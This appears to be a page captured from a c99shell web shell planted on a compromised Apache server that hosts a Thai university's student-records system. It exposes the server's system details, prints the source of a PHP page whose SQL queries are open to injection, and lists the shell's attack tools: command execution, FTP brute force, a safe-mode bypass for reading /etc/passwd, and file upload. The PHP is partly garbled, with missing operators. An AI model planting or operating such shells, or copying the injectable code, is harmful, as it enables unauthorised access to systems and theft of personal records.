!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Std_Acc_depart/Student/   drwxr-xr-x
Free 50.96 GB of 127.8 GB (39.88%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     StdAsses.php (3.05 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
 session_start
();
 if (
session_is_registered("valid_user"))
 {
$Username $valid_user;
include(
"../../include/FunctionDB.php");
ConnectDB();
$sql "SELECT * FROM personal_tb WHERE Username='$Username'";
$res mysql_query($sql);
$rs mysql_fetch_array($res);
$strSQL "SELECT * FROM training_tb GROUP By Year_std";
$result mysql_query($strSQL); 
$num mysql_num_rows($result );
//$rs = mysql_fetch_array($result);
 //$code = $rs[Teacher_code];
?> 
<html>
<head>
<title>Display Project List </title>
<link rel="stylesheet" href="../../teacher/css/cart3.css" type="text/css">
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link href="../../css/style1.css" rel="stylesheet" type="text/css">
</head>
<body bgcolor="#FFFFFF" background="../../Image/bindertile2.jpg" topmargin="0">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td>&nbsp;</td>
  </tr>
  <tr> 
    <td>&nbsp; </td>
  </tr>
</table>
<table width="76%" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr> 
    <td> 
      <div align="center"><img src="../../Image/stddb.jpg" width="437" height="54"></div></td>
  </tr>
  <tr> 
    <td><font size="2" face="Tahoma">&nbsp;</font></td>
  </tr>
  <tr> 
    <td>&nbsp;</td>
  </tr>
</table>
<table width="87%" border="0" align="right" cellpadding="0" cellspacing="3">
  <tr> 
    <td><div align="center"></div></td>
    <td><font size="4" face="Tahoma"><strong><a href="../Menu_Std_Acc.php" class="black">กลับหน้าหลัก</a></strong></font></td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
  <tr> 
    <td><div align="center"><img src="../../Image/EdgedTriangle.gif" width="12" height="13"></div></td>
    <td><font color="#003366" size="4" face="Tahoma"><strong><a href="StudentList.php" class="d">ระบบจัดการทะเบียนนัุกศึกษา</a></strong></font></td>
  </tr>
  <tr> 
    <td><div align="center"><img src="../../Image/EdgedTriangle.gif" width="12" height="13"></div></td>
    <td><font color="#CCCCCC" size="4" face="Tahoma"><strong><a href="ByCourse.php" class="d">แสดงตามหลักสูตร</a></strong></font></td>
  </tr>
  <tr> 
    <td width="7%"><div align="center"><img src="../../Image/EdgedTriangle.gif" width="12" height="13"></div></td>
    <td width="93%"><font color="#CCCCCC" size="4" face="Tahoma"><strong><a href="ById.php" class="d">แสดงตามรหัสนักศึกษา</a></strong></font></td>
  </tr>
  <tr> 
    <td><div align="center"><img src="../../Image/EdgedTriangle.gif" width="12" height="13"></div></td>
    <td><font size="4" face="Tahoma"><strong><a href="PI11/ByStdId.php" class="d">แบบบันทึกบัณฑิตได้งานทำ 
      ภานใน 1 ปี รวมทั้งการประกอบอาชีพอิสระ</a></strong></font></td>
  </tr>
  <tr> 
    <td><div align="center"><img src="../../Image/EdgedTriangle.gif" width="12" height="13"></div></td>
    <td><font size="4" face="Tahoma"><strong><a href="PI12/StatisticList.php" class="d">แบบบันทึกผลความพึงพอใจของผู้ใช้บัณฑิต</a></strong></font></td>
  </tr>
</table>
<p>&nbsp;</p>
</html>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0145 ]--